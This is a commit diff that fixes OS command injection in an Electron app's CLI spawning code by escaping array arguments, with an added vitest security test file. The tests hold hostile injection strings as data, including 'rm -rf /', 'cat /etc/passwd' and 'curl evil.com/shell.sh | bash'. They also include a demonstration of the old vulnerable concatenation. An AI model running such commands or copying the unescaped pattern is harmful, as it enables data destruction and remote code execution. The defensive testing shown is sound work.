fix(desktop-electron): sanitize CLI command args to prevent OS command injection

packages/desktop-electron/src/main/cli.security.test.ts

@@ -0,0 +1,119 @@
+import { describe, expect, it } from "vitest"
+
+/**
+ * CWE-78: OS Command Injection
+ * File: packages/desktop-electron/src/main/cli.ts
+ *
+ * Tests that shellEscape properly neutralizes shell metacharacters,
+ * preventing command injection when args are interpolated into shell commands.
+ */
+
+// Extract shellEscape logic (same implementation as in cli.ts)
+function shellEscape(input: string) {
+  if (!input) return "''"
+  return `'${input.replace(/'/g, `'"'"'`)}'`
+}
+
+// Simulate buildCommand's shell line construction (Unix mode)
+function buildShellLine(sidecar: string, args: string[]) {
+  const escapedArgs = args.map(shellEscape).join(" ")
+  return `"${sidecar}" ${escapedArgs}`
+}
+
+// Simulate the OLD vulnerable behavior (string concatenation, no escape)
+function buildShellLineUnsafe(sidecar: string, args: string) {
+  return `"${sidecar}" ${args}`
+}
+
+describe("CWE-78: OS Command Injection in cli.ts", () => {
+  const sidecar = "/usr/local/bin/opencode"
+
+  describe("shellEscape", () => {
+    it("should wrap normal input in single quotes", () => {
+      expect(shellEscape("hello")).toBe("'hello'")
+    })
+
+    it("should escape single quotes in input", () => {
+      expect(shellEscape("it's")).toBe("'it'\"'\"'s'")
+    })
+
+    it("should return empty quoted string for empty input", () => {
+      expect(shellEscape("")).toBe("''")
+    })
+
+    it("should neutralize semicolon injection", () => {
+      const malicious = "; rm -rf /"
+      const escaped = shellEscape(malicious)
+      // Wrapped in single quotes — shell treats entire string as literal
+      expect(escaped).toBe("'; rm -rf /'")
+      // Must start and end with single quote to be safe
+      expect(escaped.startsWith("'")).toBe(true)
+      expect(escaped.endsWith("'")).toBe(true)
+    })
+
+    it("should neutralize $() command substitution", () => {
+      const malicious = "$(whoami)"
+      const escaped = shellEscape(malicious)
+      expect(escaped).toBe("'$(whoami)'")
+      // Inside single quotes, $() is literal, not executed
+    })
+
+    it("should neutralize backtick command substitution", () => {
+      const malicious = "`id`"
+      const escaped = shellEscape(malicious)
+      expect(escaped).toBe("'`id`'")
+    })
+
+    it("should neutralize pipe injection", () => {
+      const malicious = "| cat /etc/passwd"
+      const escaped = shellEscape(malicious)
+      expect(escaped).toBe("'| cat /etc/passwd'")
+    })
+
+    it("should neutralize && chaining", () => {
+      const malicious = "&& curl evil.com/shell.sh | bash"
+      const escaped = shellEscape(malicious)
+      expect(escaped).toBe("'&& curl evil.com/shell.sh | bash'")
+    })
+  })
+
+  describe("buildShellLine (fixed - array args with escape)", () => {
+    it("should safely handle hostname with injection attempt", () => {
+      const args = ["serve", "--hostname", "127.0.0.1; rm -rf /", "--port", "4096"]
+      const line = buildShellLine(sidecar, args)
+      // The malicious hostname is wrapped in single quotes, neutralized
+      expect(line).toContain("'127.0.0.1; rm -rf /'")
+      // Verify each arg is individually quoted — no bare unquoted semicolons
+      const argsSection = line.slice(line.indexOf("'"))
+      const unquoted = argsSection.replace(/'[^']*'/g, "QUOTED")
+      expect(unquoted).not.toContain(";")
+    })
+
+    it("should safely handle args with $() substitution", () => {
+      const args = ["serve", "--hostname", "$(curl evil.com)", "--port", "4096"]
+      const line = buildShellLine(sidecar, args)
+      expect(line).toContain("'$(curl evil.com)'")
+    })
+
+    it("should safely handle args with backtick substitution", () => {
+      const args = ["serve", "--hostname", "`wget evil.com`", "--port", "4096"]
+      const line = buildShellLine(sidecar, args)
+      expect(line).toContain("'`wget evil.com`'")
+    })
+
+    it("should work correctly with normal args", () => {
+      const args = ["--print-logs", "--log-level", "WARN", "serve", "--hostname", "localhost", "--port", "4096"]
+      const line = buildShellLine(sidecar, args)
+      expect(line).toBe(`"${sidecar}" '--print-logs' '--log-level' 'WARN' 'serve' '--hostname' 'localhost' '--port' '4096'`)
+    })
+  })
+
+  describe("OLD vulnerable buildShellLine (string concat, no escape)", () => {
+    it("DEMONSTRATES VULNERABILITY: injection via hostname", () => {
+      const maliciousArgs = "serve --hostname 127.0.0.1; rm -rf / --port 4096"
+      const line = buildShellLineUnsafe(sidecar, maliciousArgs)
+      // The old code would produce a line where `; rm -rf /` is a separate command
+      expect(line).toContain("; rm -rf /")
+    })
+  })
+})

packages/desktop-electron/src/main/cli.ts

@@ -50,7 +50,7 @@ export function getSidecarPath() {
 }
 
 export async function getConfig(): Promise<Config | null> {
-  const { events } = spawnCommand("debug config", {})
+  const { events } = spawnCommand(["debug", "config"], {})
   let output = ""
 
   await new Promise<void>((resolve) => {
@@ -120,7 +120,7 @@ export function syncCli() {
 }
 
 export function serve(hostname: string, port: number, password: string) {
-  const args = `--print-logs --log-level WARN serve --hostname ${hostname} --port ${port}`
+  const args = ["--print-logs", "--log-level", "WARN", "serve", "--hostname", hostname, "--port", String(port)]
   const env = {
     OPENCODE_SERVER_USERNAME: "opencode",
     OPENCODE_SERVER_PASSWORD: password,
@@ -129,8 +129,8 @@ export function serve(hostname: string, port: number, password: string) {
   return spawnCommand(args, env)
 }
 
-export function spawnCommand(args: string, extraEnv: Record<string, string>) {
-  console.log(`[cli] Spawning command with args: ${args}`)
+export function spawnCommand(args: string[], extraEnv: Record<string, string>) {
+  console.log(`[cli] Spawning command with args: ${args.join(" ")}`)
   const base = Object.fromEntries(
     Object.entries(process.env).filter((entry): entry is [string, string] => typeof entry[1] === "string"),
   )
@@ -209,17 +209,18 @@ function handleSqliteProgress(events: EventEmitter, line: string) {
   return false
 }
 
-function buildCommand(args: string, env: Record<string, string>) {
+function buildCommand(args: string[], env: Record<string, string>) {
   if (process.platform === "win32" && isWslEnabled()) {
     console.log(`[cli] Using WSL mode`)
     const version = app.getVersion()
+    const escapedArgs = args.map(shellEscape).join(" ")
     const script = [
       "set -e",
       'BIN="$HOME/.opencode/bin/opencode"',
       'if [ ! -x "$BIN" ]; then',
       `  curl -fsSL https://opencode.ai/install | bash -s -- --version ${shellEscape(version)} --no-modify-path`,
       "fi",
-      `${envPrefix(env)} exec "$BIN" ${args}`,
+      `${envPrefix(env)} exec "$BIN" ${escapedArgs}`,
     ].join("\n")
 
     return { cmd: "wsl", cmdArgs: ["-e", "bash", "-lc", script] }
@@ -228,12 +229,13 @@ function buildCommand(args: string, env: Record<string, string>) {
   if (process.platform === "win32") {
     const sidecar = getSidecarPath()
     console.log(`[cli] Windows direct mode, sidecar: ${sidecar}`)
-    return { cmd: sidecar, cmdArgs: args.split(" ") }
+    return { cmd: sidecar, cmdArgs: args }
   }
 
   const sidecar = getSidecarPath()
   const shell = process.env.SHELL || "/bin/sh"
-  const line = shell.endsWith("/nu") ? `^\"${sidecar}\" ${args}` : `\"${sidecar}\" ${args}`
+  const escapedArgs = args.map(shellEscape).join(" ")
+  const line = shell.endsWith("/nu") ? `^\"${sidecar}\" ${escapedArgs}` : `\"${sidecar}\" ${escapedArgs}`
   console.log(`[cli] Unix mode, shell: ${shell}, command: ${line}`)
   return { cmd: shell, cmdArgs: ["-l", "-c", line] }
 }